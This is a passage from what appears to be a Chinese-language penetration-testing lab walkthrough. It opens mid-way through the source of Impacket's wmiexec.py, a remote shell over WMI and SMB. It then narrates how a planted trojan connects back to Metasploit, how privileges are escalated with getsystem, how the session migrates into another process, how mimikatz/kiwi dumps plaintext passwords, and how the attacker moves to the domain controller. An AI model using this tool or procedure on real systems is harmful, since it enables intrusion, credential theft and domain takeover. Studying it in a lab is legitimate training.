except Exception as e:
logging.error(str(e))
if os.path.exists(filename):
os.remove(filename)
def do_lput(self, s):
try:
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = ''
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
dst_path = dst_path.replace('/', '\\')
import ntpath
pathname = ntpath.join(ntpath.join(self.__pwd, dst_path), src_file)
drive, tail = ntpath.splitdrive(pathname)
logging.info("Uploading %s to %s" % (src_file, pathname))
self.__transferClient.putFile(drive[:-1] + '$', tail, fh.read)
fh.close()
except Exception as e:
logging.critical(str(e))
pass
def do_exit(self, s):
return True
def do_EOF(self, s):
print()
return self.do_exit(s)
def emptyline(self):
return False
def do_cd(self, s):
self.execute_remote('cd ' + s)
if len(self.__outputBuffer.strip('\r\n')) > 0:
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
if PY2:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s.decode(sys.stdin.encoding)))
else:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = (self.__pwd + '>')
if self.__shell_type == 'powershell':
self.prompt = 'PS ' + self.prompt + ' '
self.__outputBuffer = ''
def default(self, line):
# Let's try to guess if the user is trying to change drive
if len(line) == 2 and line[1] == ':':
# Execute the command and see if the drive is valid
self.execute_remote(line)
if len(self.__outputBuffer.strip('\r\n')) > 0:
# Something went wrong
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
# Drive valid, now we should get the current path
self.__pwd = line
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = (self.__pwd + '>')
self.__outputBuffer = ''
else:
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
try:
self.__outputBuffer += data.decode(CODEC)
except UnicodeDecodeError:
logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py '
'again with -codec and the corresponding codec')
self.__outputBuffer += data.decode(CODEC, errors='replace')
if self.__noOutput is True:
self.__outputBuffer = ''
return
while True:
try:
self.__transferClient.getFile(self.__share, self.__output, output_callback)
break
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
# Output not finished, let's wait
time.sleep(1)
pass
elif str(e).find('Broken') >= 0:
# The SMB Connection might have timed out, let's try reconnecting
logging.debug('Connection broken, trying to recreate it')
self.__transferClient.reconnect()
return self.get_output()
self.__transferClient.deleteFile(self.__share, self.__output)
def execute_remote(self, data, shell_type='cmd'):
if shell_type == 'powershell':
data = '$ProgressPreference="SilentlyContinue";' + data
data = self.__pwsh + b64encode(data.encode('utf-16le')).decode()
command = self.__shell + data
if self.__noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
if PY2:
self.__win32Process.Create(command.decode(sys.stdin.encoding), self.__pwd, None)
else:
self.__win32Process.Create(command, self.__pwd, None)
self.get_output()
def send_data(self, data):
self.execute_remote(data, self.__shell_type)
print(self.__outputBuffer)
self.__outputBuffer = ''
class AuthFileSyntaxError(Exception):
'''raised by load_smbclient_auth_file if it encounters a syntax error
while loading the smbclient-style authentication file.'''
def __init__(self, path, lineno, reason):
self.path = path
self.lineno = lineno
self.reason = reason
def __str__(self):
return 'Syntax error in auth file %s line %d: %s' % (
self.path, self.lineno, self.reason)
def load_smbclient_auth_file(path):
'''Load credentials from an smbclient-style authentication file (used by
smbclient, mount.cifs and others). returns (domain, username, password)
or raises AuthFileSyntaxError or any I/O exceptions.'''
lineno = 0
domain = None
username = None
password = None
for line in open(path):
lineno += 1
line = line.strip()
if line.startswith('#') or line == '':
continue
parts = line.split('=', 1)
if len(parts) != 2:
raise AuthFileSyntaxError(path, lineno, 'No "=" present in line')
(k, v) = (parts[0].strip(), parts[1].strip())
if k == 'username':
username = v
elif k == 'password':
password = v
elif k == 'domain':
domain = v
else:
raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))
return (domain, username, password)
# Process command-line arguments.
if __name__ == '__main__':
print(version.BANNER)
parser = argparse.ArgumentParser(add_help=True, description="Executes a semi-interactive shell using Windows "
"Management Instrumentation.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-share', action='store', default='ADMIN$', help='share where the output will be grabbed from '
'(default ADMIN$)')
parser.add_argument('-nooutput', action='store_true', default=False, help='whether or not to print the output '
'(no SMB connection created)')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-silentcommand', action='store_true', default=False,
help='does not execute cmd.exe to run given command (no output)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
'"%s"). If errors are detected, run chcp.com at the target, '
'map the result with '
'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py '
'again with -codec and the corresponding codec ' % CODEC)
parser.add_argument('-shell-type', action='store', default='cmd', choices=['cmd', 'powershell'],
help='choose a command processor for the semi-interactive shell')
parser.add_argument('-com-version', action='store', metavar="MAJOR_VERSION:MINOR_VERSION",
help='DCOM version, format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7')
parser.add_argument('command', nargs='*', default=' ', help='command to execute at the target. If empty it will '
'launch a semi-interactive shell')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true",
help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-A', action="store", metavar="authfile", help="smbclient/mount.cifs-style authentication file. "
"See smbclient man page's -A option.")
group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
# Init the example's logger theme
logger.init(options.ts)
if options.codec is not None:
CODEC = options.codec
else:
if CODEC is None:
CODEC = 'utf-8'
if ' '.join(options.command) == ' ' and options.nooutput is True:
logging.error("-nooutput switch and interactive shell not supported")
sys.exit(1)
if options.silentcommand and options.command == ' ':
logging.error("-silentcommand switch and interactive shell not supported")
sys.exit(1)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
if options.com_version is not None:
try:
major_version, minor_version = options.com_version.split('.')
COMVERSION.set_default_version(int(major_version), int(minor_version))
except Exception:
logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"")
sys.exit(1)
domain, username, password, address = parse_target(options.target)
try:
if options.A is not None:
(domain, username, password) = load_smbclient_auth_file(options.A)
logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (
repr(domain), repr(username), repr(password)))
if domain is None:
domain = ''
if options.keytab is not None:
Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
options.k = True
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
executer = WMIEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey,
options.share, options.nooutput, options.k, options.dc_ip, options.shell_type)
executer.run(address, options.silentcommand)
except KeyboardInterrupt as e:
logging.error(str(e))
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
sys.exit(1)
sys.exit(0)
若显示没有模块则按照下面连接安装虚拟环境,在虚拟环境中安装模块。由于系统考虑兼容性,怕用户安装的模块会有冲突,所以不让随便安装模块
https://blog.csdn.net/weixin_67503304/article/details/125397132
输入 cmd /c shell.exe 启动刚才上传的木马上线msf
信息收集
输入sysinfo查看信息。
输入shell可以开启shell交互(虽然有点脱裤子放屁,上面那个python工具就可以shell交互,但这里主要是学习如何使用msf)
输入ipconfig /all 定位域控
从上面可以获取到域控test.org ip:192.168.93.10
exit 退出shell
getuid #查看当前用户权限
使用getsystem提权到system权限
迁移进程
1.查看当前会话的进程id
命令:getpid
2.查看目标运行的进程
命令:ps
显示独立进程
3.绑定进程
命令:migrate Pid
这里绑定到是1340 sqlserer进程上。
再次查看进程,转移成功。
kiwi抓取密码
使用kiwi抓取密码——-旧版本的mimikatz已被该模块取代,该模块更加强大
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制
。
输入help kiwi查使用
Command Description
------- -----------
creds_all Retrieve all credentials (parsed)
creds_kerberos Retrieve Kerberos creds (parsed)
creds_livessp Retrieve Live SSP creds
creds_msv Retrieve LM/NTLM creds (parsed)
creds_ssp Retrieve SSP creds
creds_tspkg Retrieve TsPkg creds (parsed)
creds_wdigest Retrieve WDigest creds (parsed)
dcsync Retrieve user account information via DCSync (unparsed)
dcsync_ntlm Retrieve user account NTLM hash, SID and RID via DCSync
golden_ticket_create Create a golden kerberos ticket
kerberos_ticket_list List all kerberos tickets (unparsed)
kerberos_ticket_purge Purge any in-use kerberos tickets
kerberos_ticket_use Use a kerberos ticket
kiwi_cmd Execute an arbitary mimikatz command (unparsed)
lsa_dump_sam Dump LSA SAM (unparsed)
lsa_dump_secrets Dump LSA secrets (unparsed)
password_change Change the password/hash of a user
wifi_list List wifi profiles/creds for the current user
wifi_list_shared List shared wifi profiles/creds (requires SYSTEM)
使用creds_wdigest命令获取登录过的用户储存在内存里的明文密码。
test则是域控
然后使用wmiexec登录既可。